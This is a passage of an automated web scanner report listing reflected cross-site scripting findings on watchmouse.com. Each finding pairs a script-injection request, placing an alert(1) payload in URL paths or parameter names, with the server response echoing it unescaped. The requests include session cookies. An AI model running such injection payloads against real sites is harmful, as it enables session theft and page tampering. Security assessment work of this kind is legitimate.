Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-8d53818f897146fe01c9690472408ae5"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13788

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/featuree9d2b"><script>alert(1)</script>03423c381c1/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.383. http://www.watchmouse.com/de/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c3cc6"><script>alert(1)</script>e6dfa6d7ef4 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/feature/transaction-monitoring-web-application-testing.htmlc3cc6"><script>alert(1)</script>e6dfa6d7ef4 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:07 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-c6e51b4374e3493f7f1b15f1c8ad3ad6"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13788

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/feature/transaction-monitoring-web-application-testing.htmlc3cc6"><script>alert(1)</script>e6dfa6d7ef4" method="post">
...[SNIP]...

1.384. http://www.watchmouse.com/de/feature/transaction-monitoring-web-application-testing.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/feature/transaction-monitoring-web-application-testing.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 77f5a"><script>alert(1)</script>a690508e1b3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/feature/transaction-monitoring-web-application-testing.html?77f5a"><script>alert(1)</script>a690508e1b3=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:08:56 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-41e192f984b75a1677346841b9bc01be"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 24609

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="/de/feature/transaction-monitoring-web-application-testing.html?77f5a"><script>alert(1)</script>a690508e1b3=1" method="post">
...[SNIP]...

1.385. http://www.watchmouse.com/de/learn_more.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/learn_more.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e6776"><script>alert(1)</script>8f01e9a661e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /dee6776"><script>alert(1)</script>8f01e9a661e/learn_more.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:17 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b15e32332f1971fc52944f1b58313cce"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/dee6776"><script>alert(1)</script>8f01e9a661e/learn_more.php" method="post">
...[SNIP]...

1.386. http://www.watchmouse.com/de/learn_more.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/learn_more.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a845b"><script>alert(1)</script>3674185b0b1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/learn_more.phpa845b"><script>alert(1)</script>3674185b0b1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:20 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-85198e259ee9aa4a11ad85851c189f93"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13383

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/learn_more.phpa845b"><script>alert(1)</script>3674185b0b1" method="post">
...[SNIP]...

1.387. http://www.watchmouse.com/de/learn_more.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/learn_more.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1db28"><script>alert(1)</script>d57baea6d54 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/learn_more.php?1db28"><script>alert(1)</script>d57baea6d54=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:10 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:09:10 GMT
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 46027

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/learn_more.php?1db28"><script>alert(1)</script>d57baea6d54=1" method="post">
...[SNIP]...

1.388. http://www.watchmouse.com/de/plans_price.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/plans_price.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f72d8"><script>alert(1)</script>094600cf9e0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /def72d8"><script>alert(1)</script>094600cf9e0/plans_price.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:09 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-3266ed08f9bd73f312adb1cb7b2990d1"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/def72d8"><script>alert(1)</script>094600cf9e0/plans_price.php" method="post">
...[SNIP]...

1.389. http://www.watchmouse.com/de/plans_price.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/plans_price.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9724f"><script>alert(1)</script>b69cc004d9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/plans_price.php9724f"><script>alert(1)</script>b69cc004d9 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-5f44d3fcacbfad0c4ac178e16512a965"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13383

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/plans_price.php9724f"><script>alert(1)</script>b69cc004d9" method="post">
...[SNIP]...

1.390. http://www.watchmouse.com/de/plans_price.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/plans_price.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bdc88"><script>alert(1)</script>0395becefe6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/plans_price.php?bdc88"><script>alert(1)</script>0395becefe6=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:00 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-4a91ae575210e8129a2513cf548ba657"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 61773

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/plans_price.php?bdc88"><script>alert(1)</script>0395becefe6=1" method="post">
...[SNIP]...

1.391. http://www.watchmouse.com/de/register.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/register.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f4770"><script>alert(1)</script>b1bfa4f784d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /def4770"><script>alert(1)</script>b1bfa4f784d/register.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:34 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f45316343b67e401bef4babfda3fa7f8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/def4770"><script>alert(1)</script>b1bfa4f784d/register.php" method="post">
...[SNIP]...

1.392. http://www.watchmouse.com/de/register.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/register.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6dcd2"><script>alert(1)</script>9e0e36560e6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/register.php6dcd2"><script>alert(1)</script>9e0e36560e6 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:36 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-6c28c41eb8a5ad96c79d9e6815400853"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13365

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/register.php6dcd2"><script>alert(1)</script>9e0e36560e6" method="post">
...[SNIP]...

1.393. http://www.watchmouse.com/de/register.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/register.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e025"><script>alert(1)</script>42b73a4c46b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/register.php?vpackid=35&6e025"><script>alert(1)</script>42b73a4c46b=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:34 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-f7ca374cbe50be1a3e973b9c1ca8f862"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 27208

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<a href="/en/register.php?vpackid=35&6e025"><script>alert(1)</script>42b73a4c46b=1" onclick="$('#lang-menu').toggle();">
...[SNIP]...

1.394. http://www.watchmouse.com/de/website_monitoring_features.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/website_monitoring_features.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 55710"><script>alert(1)</script>fab4e1496d9 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /de55710"><script>alert(1)</script>fab4e1496d9/website_monitoring_features.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-cd52450bb42754b9ed0a5efff3e5ec3f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/de55710"><script>alert(1)</script>fab4e1496d9/website_monitoring_features.php" method="post">
...[SNIP]...

1.395. http://www.watchmouse.com/de/website_monitoring_features.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/website_monitoring_features.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd648"><script>alert(1)</script>459c66a1fab was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/website_monitoring_features.phpbd648"><script>alert(1)</script>459c66a1fab HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:38 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-d35ee2c14bc6410a5185dd048812dc50"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="de" lang="de">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/de/website_monitoring_features.phpbd648"><script>alert(1)</script>459c66a1fab" method="post">
...[SNIP]...

1.396. http://www.watchmouse.com/de/website_monitoring_features.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/de/website_monitoring_features.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f302"><script>alert(1)</script>0533bc95fdb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /de/website_monitoring_features.php?8f302"><script>alert(1)</script>0533bc95fdb=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-de-4be74317eeb6cd2cd0b35f50429af709"
Content-Language: de
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
